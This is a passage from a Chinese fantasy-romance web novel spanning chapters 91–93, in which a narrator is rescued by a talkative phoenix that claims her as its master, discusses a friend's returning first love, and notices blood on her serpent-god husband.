“不是一座仙山……是一片!地盘可大着呢,上万里,都归我管。” “我也在阴间要了一块清静地方,准备盖栋大宅子,平日养养花,钓钓鱼。” 我手欠地弹了下那柄长剑:“听说,你媳妇跟人跑了。” 墨袍男人老脸顿时阴沉了一大片:“尚未成婚,算什么媳妇。” 我拿起长剑贴在耳边听回音:“听说,还是当着你的面给你戴的绿帽子。” 墨袍男人手里的酒盏传出一道细微的碎裂声:“小西。” “啊?” “实在不会说话,你可以把嘴闭上。你这人什么都好,就是嘴巴讨嫌。” 我没脸没皮地推了他老人家一把:“哎,咱俩这交情,你不是应该早就习惯了吗!” “本尊、习惯不了。”他放下酒盏站起身,负袖面向汤汤冥河:“本尊听说,天道给你也赐了个婚约。” 我拎着长剑,徒手掰弯它,“你说这天道是不是想卸磨杀驴,我们才消停下来享几年清静,先逼你娶媳妇,再逼我娶丈夫……” 墨衣男人揉了揉眉心:“你那是嫁!” 我执拗争辩:“嫁什么嫁,他嫁我还差不多!他那个破蓬莱有我家大业大吗?” “他,品性甚好,有容人雅量,你与他若真能缔结良缘,也不失为一件好事。” “算了吧……我俩前几次见面,发生的事,都不太好。” “你与他见过了?” 我漫不经心点头:“第一次是在天河边,他在施法救一条鲤鱼仙。” “嗯,他向来心怀慈悲。” “我以为他在干坏事,一脚把他踢天河里去了……” “……” “第二次我爬树摘果子,不小心从树上失足滑摔了下去,衣领被树枝挂住了,害我被吊在树上晃了好半晌,正好他从树下经过,我就拿果子把他砸晕了。” “……你砸他作甚?!” 我理直气壮道:“我好歹也是上古正神!被挂在树上荡秋千,我不要面子啊!” “……” “第三次他来我的神宫拜访,青鸟那瘪犊子非要自作主张给我们制造什么浪漫惊喜初遇,我正带人在蟠桃园摘桃子来着,他突然出现在我身后,把我吓得差点原地厥过去。 我想着,从前是我见过他,知道他的身份,他虽然也见过我,但是却不知道我的身份,他要是知道和他定亲的人是我,他不得把我的神宫给拆了! 为了我的生命安全起见,我只能趁他不注意又把他一脚踹河里了……” “你又踹他干什么?!” “那那那,蟠桃园里正好有条河,他又站在河边,我为了不让他看清我的脸,只能出此下策了……” 墨衣男人哑了半晌,才无奈地揉了揉眉心:“本尊一时竟不知……是该说你欠,还是该说他……活该……” 我蹲在石头上拿剑往地上杵:“反正我现在已经把他得罪透了,咱俩迟早是要有仇报仇有怨报怨的,你放心,肯定成不了。但我比你好些,那家伙暂时还没给我戴绿帽子的迹象。” 说着,我提起手里的剑厚颜无耻地拽了拽他袖子:“这剑不错哎,给我呗。” 墨衣男人赏了我一个大大的白眼。 我死缠烂打,夹着嗓子恶心他:“师兄~” “……” “长烬~” “……” “烬烬~” “……” “烬哥哥~” “滚!” 他忍无可忍一记佛山无影脚—— 哎,亏我躲得快。 没被他一脚扫进冥河里。 既然他软的不吃,就休怪我和他来硬的了! 我气鼓鼓地提剑站起身,一手握着剑尖,一手攥住剑柄,稍一用力,长剑弯成弓型。 “给不给我?不给我我就带着你的破剑同归于尽!” 墨衣男人不语,只一个劲用看傻子的眼神瞪我。 好啊,这是要逼我给他点颜色看看了! 我双手用力,但听嘎嘣一声,长剑被我折成了两截。 “好了剑断了,东西是我的了,哎——师兄你也知道,这种高阶神剑只有我会修,看在剑折了的份上,师妹我就勉为其难地接受了师兄这份礼物。啧,师兄真客气,每次师妹来都要送师妹好多礼物!” 但,这次的师兄,好像比我想象中的要冷静许多。 许久,墨衣男人才收回嫌弃目光,广袖一挥:“行了,你现在又得罪东王一次,等着他将你的神宫砸得稀巴烂,把你家桃园的桃树挖出来当柴烧吧!” 我:“???” 墨衣男人幸灾乐祸:“你刚才折断的这把剑,是东王的。他刚锻好,留在我这汲取灵气的。” 我:“……” “啊——长烬我要掐死你!谁让你把他的剑丢给我玩的!” “要不然我等你折我的剑?” “……” 猛地回神,方才那一恍惚,似是一场短暂的幻觉。 “你对我,出破天剑?”宋淑贞不可思议地瞪大双眼盯着李大叔。 李大叔手上稍稍用力,神剑便散发出一股强大寒气,震开宋淑贞的权杖,逼得宋淑贞踉跄退后数步! “淑贞,我警告过你,不要动我家孩子,这是第二次。”李大叔面无表情地沉沉道。 宋淑贞见状,倏然嗤笑出声,不觉红了眼眶:“第一次,你为了李银杏打伤我,第二次,你又为了这个不相干的野种,对我拔剑相向!” “她不是野种!她是你的亲生女儿,是我兄长的亲生骨血。”李大叔郑重纠正。 可宋淑贞却癫狂得愈发厉害:“她就是野种!要不是她父亲你我怎么可能走到这一步!” “走到这一步怨不得任何人!淑贞,当年你我他三人都各有各的难处,而且当年那件事中,最无辜的人已经不在了……你还要恨多久?别再继续错下去了……”李大叔苦口婆心地劝道。 “无辜……” 宋淑贞突然昂头苦笑起来,目光再落回我身上,眼神淬毒恨透了我,指着我怒骂道: “她爹不是好东西,她也不是好家伙!都怪这个野种!她们父子俩,就是来找我讨债的!你们不让我好过,我也不让你们太平,我今天非杀了你不可!” 她怒不可遏地扬起权杖聚集毕生巫力朝我头顶挥下来—— 我皱眉平静的站在原地,没躲。 李大叔提剑欲来护我,岂料危急关头提着蛟骨鞭的银杏却被宋花枝用阴招打飞了过来…… “啊!” “杏子!” 李大叔仓促迈上前接住重伤呕血的银杏。 “妈,给你灵珠,让她死!”宋花枝将手里珠子抛出来,扔向宋淑贞。 灵珠…… 死狐狸连灵珠都给她了?! 宋淑贞闻言,配合极好地挥起权杖就将珠子击向我眉心…… 可惜,灵珠还没靠近我…… 就被一道金光给强势地扇了回去。 下一秒,一声清脆凤鸣传遍三千里深山—— 我的身子陡然被一股灵力掀起扔落在一片温暖软和的凤羽绒毛堆里…… 等我再一头雾水地从流光溢彩的凤毛堆里爬出来……我才愕然惊觉,自己竟被凤凰丢在了后背上! 凤凰驮着我,眯了眯浅金色的凤眸,张开双翅,二话没说就左翅扇飞宋花枝,右翅啪啪给了宋淑贞两耳刮子。 打得宋花枝跌坐在地鼻血喷出三尺高,宋淑贞则连缓神的机会都没有,前一秒被凤凰扇得眼冒金星,后一秒又被凤凰一膀子拎住脖领子,提起来使劲摇晃。 “啾啾、啾啾啾!” “啾啾啾啾啾啾!” “啾!” 一时满山的鸟语花香…… 但,神奇的是,我好像能听懂这只凤凰在骂什么。 “凭你也敢囚禁我!” “我日嫩仙人板板!” “凤凰不发威你当我是病鸡啊!” “让你拽我羽毛,让你薅我尾巴!” “降龙十八掌——” “泰山压顶!” “佛山无影脚!” “少林十八棍!” “呀——老娘要拔光你的毛!” 边骂,还不忘边疯狂抽宋淑贞的嘴巴子,薅宋淑贞的头发…… 我伏在凤凰的背上,默默压低身子,埋头装鸵鸟。 这只凤凰…… 脾气真爆! 惹不起惹不起…… 直到把宋淑贞打成猪头,凤凰才一膀子扇飞宋淑贞。 “妈——啊!” 宋花枝正要虚弱爬起身表演一番母女情深来着…… 却被凤凰一脚踩到双腿,咯吱一声,骨头断了。 “凤凰、凤凰发怒了!” “凤凰吃人了!” “快跑啊——” 广场上的族人们见势不对,当即一哄而散各自逃命去了。 赵家婶子被吓得脸色惨白,转头就要往桌肚里躲。 赵村长见状,想也没想就将自家老婆拉进怀中,紧紧抱住,颤声安抚: “别怕秀秀,凤凰不吃人……就算吃人,也会先吃我,等它吃我的时候你就赶紧跑,别管我赶紧跑……” 赵家婶子眼眶顿时一红,抬手一把搂住赵村长咬牙坚定道: “当家的,要生一起生,要死一起死!下辈子,我还给你当老婆!” 赵村长含泪点点头,粗糙大手轻拍婶子肩膀: “不会有事的,我们还有鸾镜,还有大长老,还有老李,我们不会死,一定不会死……” 不过,关于凤凰吃人这一点,他们可能真的想多了…… 因为此时此刻,凤凰嘴里嘟囔的全是: “啊——猪头肉大肥肠,烧鸡烤鸭大肥鹅,桂花酒桃花酪,杏仁酥花生糖……好想都来一口!” “不行,这些是贡品,不能吃不能吃。” “可,自家主子的贡品……吃一口应该没事!” “还是不行,这群狡猾的人类不会往贡品里下毒吧!” “可人家还是好想吃……呜呜呜。” 我愣愣地趴在它背上……一时语塞。 这只凤凰,真的好纠结啊。 然而下一秒,就有人破防惨叫:“完了,凤凰朝我们流口水了!救命啊凤凰要吃人了!” 凤凰默默抖了抖一身华丽的羽毛:“切,愚蠢的人类!” “人哪有猪头肉烤羊排好吃呀~” 阿乞与李大叔那边还在着急商量着该用什么法子阻止凤凰吃人,远处的青山后,却突然隐约浮现出两条巨蟒的身影…… 也许是因为我此刻趴在凤凰身上,视线比较高,所以,李大叔他们并没有留意到山影后的蠕动轮廓。 仅有我,将那两条灵活的朦胧巨物看清了七八分…… 九黎山中,竟有那么厉害的两条巨蟒! 凤凰无奈叹口气:“华桑大帝身边的两位护法?呸,还真怕我吃人啊!” “算了,溜了溜了。” 鸟叫完,用一缕神力小心翼翼地将我放回来…… 随即振翅离开了祖祠门前的广场。 “镜镜,没事吧!”银杏着急跑来关心我。 我摇头:“我没事,你呢?你刚才被宋花枝打吐血了,伤到哪了,还疼不疼?” 我不放心地问她,她拉住我的手大大咧咧道: “我没事,顶多胸口有点瘀血……那个宋花枝实在太阴了,打不过就使暗器……那颗死珠子到底是哪头的啊!” “珠子……”我反应过来,环顾四周:“对了,珠子哪去了?” 第91章 银杏的白月光 阿乞心累耸耸肩:“刚才被那只大鸟一膀子扇飞后,就趁乱滚跑了。估计早就偷溜回家了。” 银杏呛咳出声,差点震着内伤喷出血:“这颗死珠子,算它跑得快,不然姑奶奶抓到它非将它砸了。” 李大叔回头瞧了眼重伤趴在地上的宋淑贞与宋花枝,无奈叹气,收了手里长剑,沉声与我们道:“走吧,先回家。” “好。”银杏挽着我,跟着李大叔与阿乞转身回家。 好好的祭神大典,却硬是被宋淑贞的一己之私给搅乱了。 祭神大典见血,可不是好兆头。 路上,阿乞疑惑地向李大叔求证: “小瑶池里为什么会有凤凰?以前只听说小瑶池内金莲花特别多,没听说瑶池里还有什么灵物啊。” “我也不清楚。” 李大叔双手背后慢吞吞道: “这次是凤凰不想伤人,才放过月阴村这些妄想驯服它的族民,不然,以那只神鸟的厉害本事,今天恐是半个村子都得折进去!” “大祭司成天不是在搞事,就是在搞事的路上。” 银杏忿忿不平地揉着胸口内伤: “不过,今天村长老婆是真的给力!她竟然带人去抓宋花枝的奸了!还割掉了黄大仙一条尾巴。以前怎么没发现这位大婶除了嘴毒,办事也十分果断呢!” 李大叔干笑两声,平静提醒:“你真以为,凭那几个扛着铁锹拿着镰刀的中年妇女,能厉害到割了黄大仙一条尾巴?她们啊,也就只能擒得住宋花枝了!” “也对哦,黄大仙再怎么说,也是有道行的仙家,仙家都是会法术的。 赵村长老婆就是个普通大妈,虽然阴苗族的男女老少多少都懂点蛊术,可,凭她们十来个中年大妈的力量就想打跑黄大仙,还伤了黄大仙,是有点浮夸。 再说,黄大仙是出了名的睚眦必报,她割了人家的尾巴,就不怕人家回头报复她全家吗?” “她这是在给自己大儿子报仇呢!大伢子的老婆要不是被淑贞误导怂恿,也不会吃自己亲妹妹的肉。 尽管大伢子媳妇就算没有王母肉芝也活不了多久,可大伢子媳妇生前所受的苦,都是拜淑贞所赐。 还有她的大孙女小珊瑚,若非肉芝心善,舍不得吞噬那条无辜小生命,珊瑚早就成一滩血水被肉芝当营养液汲取了。 淑贞算计了大伢子全家,现在大伢子的媳妇过世了,独留大伢子一人照顾刚出生的闺女,原本幸福美满的一个家,现在死的死,抑郁的抑郁,你让她这个当妈的怎么能不恨。 加上赵二现在又是这副死德行,老话不是说了么,远了香近了臭,再怎么说,那也是她十月怀胎生下的孩子。” 李大叔幽幽唏嘘:“她敢去捉宋花枝的奸,就不怕黄大仙报复。不过,她能砍掉黄大仙一条尾巴,这其中怕是不乏蛇王的暗中相助。” “你是说、今天的事青漓也知道?是青漓故意推波助澜让村长老婆成功抓到宋花枝的?”我略有点意外。 难怪,他今天不肯跟我一起来祖祠这边凑热闹。 原来是单独行动搞事情去了! 李大叔稳重道:“八成就是蛇王了,除了蛇王,谁会无故帮她们对付宋花枝。” “我也觉得,像蛇王。” 阿乞歪头插话: “镜镜姐你还记得上次宋花枝与赵二在祖祠门前乱搞那回嘛? 原本他俩不该在祖祠门口滚起来的,是帝君嫌你下的淬魂蛊不够毒,所以让我又加了把火,这才设计让他俩克制不住地在祖祠门口就那啥了……” “啊?”我顿时吃惊不已,“原来那次是你和青漓动的手啊!怪不得、竟把他俩迷成那样……我原本还在想,赵二也忒胆大了些。” 阿乞不好意思地挠头,嘿嘿一笑: “我也是听从帝君的吩咐办事,帝君他和我们一样,都可恶心赵二了。 那天他问我身上有没有那种蛊,我有倒是有,可帝君嫌我的蛊威力太弱,就另给我了一瓶药粉,让我趁赵二不注意洒赵二身上…… 实话实说,帝君的东西就是好用,我才刚撒赵二身上,赵二一与宋花枝见面,两人就迫不及待地黏在一起了,那画面简直没眼看!” 我尴尬哽住。 青漓真是我肚子里的蛔虫啊,我想什么他都能猜到。 “其实你别看帝君表面上不怎么管你,事实上,关于你的每件事他都一清二楚。 他晓得宋花枝和灰狐狸总欺负你,他也可以只要你一遇见危险,他就立马出现保护你,可他说,这样的话,你不经磨难,就会被他养得弱不禁风,他当然也希望能得到你的依赖,把你惯得离不开他。 但这样,却又是害了你。他清楚你要强自立,不想做一个遇见危险只会一味等人救的小雀,他更明白,你内心深处无时无刻不在渴望变强大,所以他给你成长的机会。 他放任你去利用这些坏人磨炼自己,给你试错的底气,你尽管放手去搏,他永远是你最强硬的后台,永远都站在你身后,随时随地给你兜底。” 阿乞一本正经地帮他解释,我听完,平静的心头不禁泛起层层涟漪。 之前他和谢妄楼说,他只是把谢妄楼当成我的磨刀石,原来是这个意思。 从前,他就同我讲过,就算他时刻待在我身边,也总有百密一疏的时候。 所以我得有足够的能力自保,我得变强大,永远不要将自己的小命压在任何人手里。 他的确从不主动插手我与谢妄楼宋花枝之间的斗争,可每回我干不过谢妄楼与宋花枝,危急关头他都会及时出现帮我打回去。 是啊。他确实会随时随地的、给我兜底。 也因此,我才总会在他身上感受到踏实与安全感。 “呀,蛇王老爷平日里看起来性子冷漠,薄情无趣,没想到内心深处这么柔软细腻!”银杏挎着我的胳膊打趣:“姐妹你有福了,没嫁错蛇!” “你够了。”我尴尬抬手要捂她嘴巴,她嬉皮笑脸地躲开,不老实的陪我边走边打闹。 还有精神折腾,看来伤得不重。 李大叔瞟了眼受着伤还活蹦乱跳的银杏,存心调侃: “羡慕?羡慕你也找个和蛇王大人一样心思细腻的男人嫁了,早点出嫁,省得总在我耳边闹哄哄的。” 银杏调皮地伸舌头扮鬼脸: “才不要!这世上好男人可少了,打着灯笼都找不到!镜镜是运气好,误打误撞嫁给蛇王,误打误撞有了个一心一意为她着想的老公…… 可好老公又不是菜园里的黄豆,遍地都是。姻缘这种事么,得碰,晚点结婚选项更多嘛。你不是也常说,好的都留在最后才出现嘛!” “好东西是总会出现在最后,但男人不一样啊!你今年都二十三岁了,要嫁人,总不能嫁个比自己小的,那像什么话! 最好是年长你一两岁的,你爹我给你算过,你八字轻,属相也弱,找个年长你两岁的男人结婚,你俩属相合,以后日子能越过越红火。 但你瞧瞧,就拿咱们村的男人来说,有多少个二十五岁还是单身汉的?” 李大叔日常唠叨银杏,催促她解决终身大事。 可银杏却对谈恋爱毫无兴趣,张嘴一句气死她爹: “为什么不能嫁比自己年纪小的?现在外面都流行姐弟恋好不好! 再说村里这些男人我实在看不入眼,一个个要长相没长相,要身材没身材的,就连赵二那种货色都能算中上等! 可赵二,他嫖啊!村里稍微脸长得好看一丢丢的单身男人平时都不老实,我才不要嫁给他们当黄脸婆呢。 要不然,爸你也给我介绍个仙家,我要蛇王大人那个类型的…… 嗯,准确来说,是像蛇王大人一样洁身自好,但不能像蛇王大人一样高冷!我喜欢养小奶狗,不喜欢养祖宗。” “你!”李大叔语塞,拿她没办法道:“我迟早被你气死!” 走了两步,忽然又说:“槐花村老宋家的小子昨天从省城回来了,他爸给我打了电话,说这两天会来月阴村走动,看望咱爷俩。” 没心没肺的银杏脚下步子一顿。 下一秒,撒开我的胳膊跑去蹭李大叔,一脸期待地追问: “潮生哥回来了?!好耶,他什么时候来!他回来了爸你怎么也不提前和我说,我好准备准备!” 李大叔嫌弃地白了她一眼:“刚才不是还喜欢小奶狗么?” 银杏厚着脸皮羞涩改口:“潮生哥和别的男人……不一样。” “哪不一样了?不都是两只眼睛一个鼻子吗!” “哎呀,就是不一样。潮生哥是潮生哥,他可是受过高等教育的有志青年,怎么能和村里这些好吃懒做的男人比呢……” “他如今在大城市也是啃老,还不如村里的庄稼汉勤快呢!” “反正就是不一样……爸我们赶紧回家,给我一百块,我要去集上买衣服。” “你从前不是不爱穿集上的衣服吗?” “潮生哥他不喜欢本族服饰……我去买两身碎花裙子穿,他刚从大城市回来,我不能让他觉得我土土的。” “真不晓得他给你灌了什么迷魂汤。” 阿乞悄悄挪到我身边来,好奇问我:“潮生哥是谁?为什么银杏姐一听到他的名字,就兴奋的两眼冒星星?” 我扭头小声同阿乞八卦: “是你银杏姐的暗恋对象,白月光……中学那会子宋家举家搬进省城,把宋潮生留在阴苗族读初中,宋家和李大叔有点交情,不放心自家儿子一个人住在老房子里,就请李大叔帮忙照顾了两年。 正好李大叔也觉得宋潮生有点算命卜卦的天赋,就索性收宋潮生做徒弟了。那几年宋潮生一直住在李大叔家里,和你银杏姐朝夕相处,时日长久你银杏姐就对人家有意思了…… 但,高中刚毕业,宋潮生就被家人接去了省城,这一走就是五年多。” “白月光,宋潮生……” 阿乞恍然大悟: “哦我想起来了,银杏姐的床头柜子里现在还放着一本语文书,书皮上写的就是宋什么生的名字!没想到啊,银杏姐总是不肯谈恋爱,也不肯相亲,原来是在等这个宋潮生。” 说着,阿乞拉了拉我的袖子,求知欲极强地问道: “镜镜姐,你说宋潮生这次回来,会不会和银杏姐直接续上前缘……然后把银杏姐娶去城里啊! 银杏姐要是嫁去省城,以后我们想见她一面都难。 不过,以那什么宋潮生现在的生活条件来看,他怕是不肯入赘到李家,到时候就只能银杏姐远嫁了! 哎,镜镜姐,你说银杏姐嫁那么远,以后要是遭婆家欺负了怎么办?好舍不得银杏姐啊……” 我无奈抬手给了他脑门子一爆栗:“你啊,想得真多,真远!我倒是觉得……宋潮生和银杏成不了。” “为什么啊?”阿乞揉着脑袋满脸不解。 我抬头看向银杏与李大叔父女俩并肩前行的背影…… 因为,早在五年前宋潮生就已经做了选择。 他分明可以在村里多留一些时日的。 他分明知道,银杏为了陪他过生日,提前半个月给他准备礼物,双手都磨出了水泡…… 可他还是主动给省城的父母打了电话,要求他们尽快来接自己进城。 也许他自己都没有料到,他与宋家伯父伯母通电话的时候,我正好路过他家门口,就站在他身后。 他向宋伯父诉的每一句苦,我都听得一清二楚。 我理解他远离父母,寄居他人檐下没有安全感的战战兢兢心理…… 但他不该,那样糟蹋银杏的心意。 前脚看见银杏给自己准备的礼物……后脚就打电话催促父母赶紧接自己走。 “镜镜姐,你怎么了啊!发什么呆呢?”阿乞举手在我眼前晃了晃。 我猛地回过神,“没事……” 一把抓住阿乞的肩膀,我郑重其事地嘱咐阿乞:“阿乞,帮姐一个忙。” 阿乞迷茫颔首:“你说。” 我认真道:“宋潮生来月阴村后,你要盯着他的一举一动,不要让他欺负了银杏。” “欺负?”阿乞歪头,为难道:“镜镜姐,我怎么越听越糊涂了。他不是银杏姐的白月光吗,怎么会欺负银杏姐?” 第92章 碎嘴子凤凰 “什么白月光,再深的感情五年没见,也早就淡了。” 我握紧阿乞的肩头: “总之,你得帮我盯着他,你银杏姐头脑简单性子直来直去,没有那么多心眼,一不小心就容易被别的男人骗。 你我,还有银杏,咱们三个可是情同姐弟,有些事情咱们得替银杏防着点。 如果那个宋潮生对银杏没有歪心思,那就一切都好,要是敢欺负诓骗银杏,咱们俩就替银杏揍死他!” 阿乞想了想,仗义地重重点头,拍拍胸脯保证道:“镜镜姐你放心,这事包在我身上!” “真乖,奖励你一颗糖吃。”我递给他一枚水果软糖,他尴尬拉长脸:“姐,我都是大孩子了,你怎么还用哄小孩的招数哄我啊!” “不用糖,那我能用什么东西奖励你啊?” “用帝君啊!”阿乞古灵精怪地拉着我手祈求我:“镜镜姐,你要是真想奖励我点什么,就有事没事多在帝君跟前给我说几句好话!” “好话?” 阿乞耐心教我:“你就和帝君夸我聪明,夸我天赋好,夸我法术学的块,夸我骨骼清奇,夸我是修仙的好苗子……” 我:“……” 看来小阿乞是真将青漓当做偶像了。 这么在意自己在青漓心里的形象…… 正要开口答应他来着,谁知身后突然传来一声耳熟的鸟鸣。 脑袋后还阵阵凉飕飕的风…… 纳闷地扭头一看,竟发现身后不知什么时候,跟上了一只金羽彩尾、长相可爱、吊梢凤目、脑袋上还有一撮红色小揪揪的…… 小鸟?! 不过,看这体型……有一个巴掌那么大,加上尾羽,身长将近五十厘米…… 都称不上是小鸟了,应该是大鸟! “咦,哪来这么漂亮的一只鸟?”阿乞感兴趣的伸手要抓它,却被它扇翅一躲,成功避开。 我摇头:“这什么鸟来着?黄鹂?” 阿乞:“不像,鹦鹉?” 我顺着他的思路想了想,猛地反应过来:“哦,玄风鹦鹉!” 飞在我面前的小鸟翅膀一僵,啪叽摔我脚下了。 阿乞赞同地弯腰蹲下身,用指尖戳了戳它:“应该是了,听说玄风鹦鹉是所有鹦鹉里脑子最笨的那一类,它飞在天上平白无故都能摔下来,的确够笨。” 拍拍手起身,阿乞残酷无情地嘟囔:“本来还想把它带回家当宠物养,现在看来,还是算了吧,它这么笨,我怕它传染我……” 摔在地上的小黄鸟顿时被气得两爪抽搐,气急败坏地扑棱着翅膀就朝阿乞啄了去…… 那发威乱咬人的模样,还蛮可爱。 我本打算帮忙劝个架来着,但却在她开口的一瞬间,顿时石化在了原地! “臭男人,你才笨呢!” “还传染,本凤凰聪明着呢!” “啄死你,把你啄成一块一块的,一半扔东海,一半扔南海!” 这不是、刚才那只凤凰吗! 走在前头的李大叔也察觉到了异样,回头厉声呵斥:“何方妖孽,不得放肆!” 开口的同时,一道灵光朝小黄鸟飞射而来—— “别!” 我来不及阻止,李大叔的法力就已经直逼小黄鸟打了去…… 而灵光触碰到小黄鸟的一瞬间,黄鸟身上陡然一团巨大金光乍现,闪出它金灿灿的凤凰本相…… 金光消散,一身流光溢彩的庞然大物又重新变回了没多少杀伤力,甚至模样还颇为傲娇可爱的小黄鸟。 仿佛刚才那一幕,只是我们所有人的幻觉! “凤凤凤、凤凰!”原本还忙着和小黄鸟打架的阿乞被吓得猛往后跳了一大步。 银杏也不可思议地指着小黄鸟惊呼:“它怎么、又回来了?” 傲娇的小黄鸟脑袋一扬,红色小揪揪在风中潇洒飞舞:“咋地!此山是你开此树是你栽吗?我想回来就回来,要你管!” 阿乞抽了抽嘴角:“它好好一只凤凰,干嘛要变成一只……四不像的小黄鸟啊?” 小黄鸟不服气的叽里呱啦:“呸!你才四不像呢,老娘就算变成小鸟,那也是天上地下第一漂亮的小黄鸟!” 银杏好奇皱眉:“这只小玩意叽叽喳喳在叫什么呢?” 小黄鸟:“愚蠢的人类啊,你才是小玩意,吾乃神鸟凤凰!” 我尴尬地告诉她们真相:“它……骂人呢。” 银杏:“……” 阿乞:“……” 谁料下一秒,小黄鸟突然一个箭步撞见我怀里,一头埋在了我的心口! 我下意识抬胳膊抱住它,它却熟门熟路地先往我手臂上一站,再纵身一跃跳上我的肩膀。 然后乖巧亲近地用毛茸茸脑袋蹭我,伸翅膀抱住我,脆生生地喊了句: “主人——凤凰好想你啊!” “主人贴贴!” 主、主人?! 我什么时候成它主人了! “不对啊,这只凤凰为什么格外亲近镜镜姐?”阿乞不明所以地戳戳小凤凰屁股。 惊得小凤凰跳起来拿膀子扇他:“滚开啊!你妈没告诉过你不能随便摸女孩子屁股吗!” 奈何阿乞和银杏都听不懂它的鸟语,此时只能看见贴在我脸上的小凤凰在极度抗拒它们的靠近…… 银杏愣了片刻,然后选择不琢磨这个复杂问题: “哎算了,这种事发生在镜镜身上嘛,就很正常了。反正我们也猜不到原因,就这样吧……大不了等会儿回去问问蛇王大人!” 自从有了青漓,银杏思考问题的次数都变少了。 李大叔表情凝重看着我肩上那只欢呼雀跃的小凤凰,颔首赞同: “是该去请教一下蛇王大人,看看是福是祸。凤凰这种神鸟,从不会主动亲近什么人。” 小凤凰在我耳边呱了一声,继续碎碎念:“我们凤凰是从不会主动亲近别人,但这个本来就是我主人呀!” “我们凤凰,只亲近我们的主人!” “主人主人,你快闻闻我香不香!” “为了来见你,我可是在瑶池水里搓了半个月的澡……” “主人,你闻闻嘛……” 它、在、小瑶池里、搓澡?! 我:“……” 怪不得一身花香! 回家的路上,这只小黄鸟的嘴巴就没停过。 不是逼着我闻她翅膀,就是问我想不想她。 还说她之所以在祭神大典上没有直接与我相认,是不敢暴露我的身份。 紧接着又趴在我肩头把它在祭神大典上看中的贡品从头至尾念叨了一遍…… 要我回家做给它吃! 就它这胃口,这馋嘴的程度,这饭量…… 不得把我累死啊! 还是得先把它带回去,让青漓确认一遍它是否安全,能不能留在身边。 如果能留……再让青漓收拾它! 它从前的主人到底是怎么受得了它的碎嘴子的…… —— 回到家,青漓正坐在院子里品茶,手边放着两份类似古代奏折的东西。 听见我开门的动静,便手一挥,把桌上物件化成烟雾扫了去。 我带着小黄鸟一刻也不敢耽搁地小跑奔向他,“青漓!” 他放下茶盏,优雅拂袖起身…… “我我我、我在路上捡到了一只小黄鸟,你快帮我看看它到底是什么情况,为什么一见我就喊主人!” 让我万万没想到的是,上一秒还蹲在我肩上悠闲啃野果的小黄鸟,下一秒见到青漓的真容,愣是吓得脚下一滑,差点从我肩上跌了下去…… 紧接着就见了鬼似的尖叫了一声: “额的娘啊!帝帝帝、帝君!” 条件反射似的举起膀子就护住脑袋:“别弹我脑瓜崩儿!” 扑扇着翅膀,警惕的飞起来,拉开与他之间的距离,吱哇喊叫的聒噪个没完:“呀?你老人家怎么也下来了?” “呔!你不会是想暗害我主人吧?!” “趁我主人弱鸡,将我主人先骗后杀……” “我警告你啊,你不要伤害我主人,不然我啄死你!” “果然被他们说中了,你心眼小又爱记仇,多大的事啊,竟劳您老人家千里迢迢下来报仇……” “呜主人我们快走,他打起架来六亲不认,可凶残啦——” 我噎住,一头雾水地指了指在空中胡乱挥舞双翅的小黄鸟,问青漓:“你俩、认识?” 同样听不懂它在说什么的青漓也狐疑的眯了眯狭长凤目:“凤凰,你认识本尊?” 小黄鸟闻言,歪头试着飞近青漓一些,努力提醒他:“是我啊,小凤!主人的宝贝凤凰!” 见青漓还是目光陌生,小黄鸟万分不解地再靠近青漓点,伸出膀子触碰青漓额头:“你发烧了?怎么可能连我都不认识了,夸张……” 但翅膀羽毛尖尖触碰到青漓额前的朱红流云印记时,却有一道红光陡然将她猛地弹退好几步。 “啊我的翅膀!烫死了烫死了!” “封、封……” “你、不是……” “不对,你身上有……” 小黄鸟盯着青漓,瞪大双眼结结巴巴的不晓得到底想说什么。 “他身上有什么?”我不解追问。 青漓自己也好奇,冷冷启唇:“你到底想表达什么?” 小黄鸟手足无措的迷糊了一阵,半晌,索性直接把脑袋送给了他。 “帝君你、弹我一下!” 青漓:“……” 小黄鸟神经兮兮的催促:“你弹啊!” 青漓眉心微拧,与我相视一眼,尔后只能勉为其难地满足了它这个要求。 抬袖,弹了小黄鸟脑壳一下。 谁知,刚弹完小黄鸟就亢奋地跳了起来:“这个感觉……就是帝君嘛!” 随即壮着胆子绕青漓飞了好几圈:“你、这是……也下来了!” “他们磕的邪门CP成真了?!” “你俩不是一见面就掐架吗?” “你真对我主人有意思?” “呜呜呜,帝君你太让我感动了,你竟然……” 小黄鸟絮絮叨叨说个没完没了,青漓却倏地抬手,用法力将小凤凰擒进了手中。 像是突然想到了什么要紧事,面色阴沉地审问:“三百年前,是不是你出现在幽冥山,救了、本尊?” 小黄鸟疑惑啊了声,努力回忆:“三百年前……啊!你是那条大青蛇!” 青漓没有回答。 小黄鸟扭头又看了看我,试着猜测:“是你、陪着我主人……你还、整出了娘娘庙……” “娘娘庙怎么了?”我实在受不了他俩总打哑谜,乖乖凑到青漓身边,“你俩还真认识啊?” 小黄鸟张了张嘴,还要说些什么,被青漓淡淡打断:“嗯,三百年前见过一次。” 我哦了声,“难怪一见面就叫你帝君。” “先不管它。”青漓将小黄鸟放飞了出去,凌厉眼神瞥向院门外:“还要偷听多久?滚进来!” 我顺着他的目光看出去,不久,就看见一颗珠子鬼鬼祟祟地探头,心虚飞进来…… 而小黄鸟一见到珠子就火气上头,飞扑过去找它算账:“死珠子,你瞎啊!你敢打我主人,你皮痒了!” “臭珠子,啄破你!” “我要把你衔去东海,扔海底堵泉眼!” 珠子被小黄鸟啄得疯狂逃窜,一个劲回头求饶。 我看着突然成为我们家一员的小凤凰,还是不明白:“它为什么,总喊我主人?” 青漓怔了怔,“可能是它喜欢你,凤凰是神鸟,你们之间有缘,它就认你做主人了。” 思忖片刻,又道:“认你为主,总好过认心术不正的宋花枝为主。” “也对。”我勉强接受这个说法。 低头,目光却无意扫到他腰间一片不易察觉的血渍…… 血? 他身上怎么会有血! “你受伤了?”我心头一惊。 第93章 他今天好肉麻 “本尊……”他平静开口。 我不等他说完就着急拉住他的手,指尖搭在他的腰腹上,皱眉紧张检查:“伤到哪了?严不严重!衣服脱下来我看看……” 哪知话音未落,他就眼尾泛红地一把捞过我腰肢,害我重重撞进他的怀抱里。 一只大手温柔罩在我的脑袋上,薄唇附在我耳畔,清风霁月的不正经调侃: “不好吧,大白天在外面,夫人便要扒本尊的衣袍?” 我呛住,陡然红了脸,羞窘的别过头,心虚结巴:“你、够了,我就是想看看你的伤势……谁要扒你衣服了,不给看拉倒,你自己、疼着去吧!” 他听完,唇角却勾起了一抹浅浅的弧度,抓住我顿在他腰间的那只手,直接往窄腰上按下去。 掌心贴上他结实的腰身,我心尖又是狠狠一颤。 本能的脊背一震。 不好意思的要把手缩回来…… 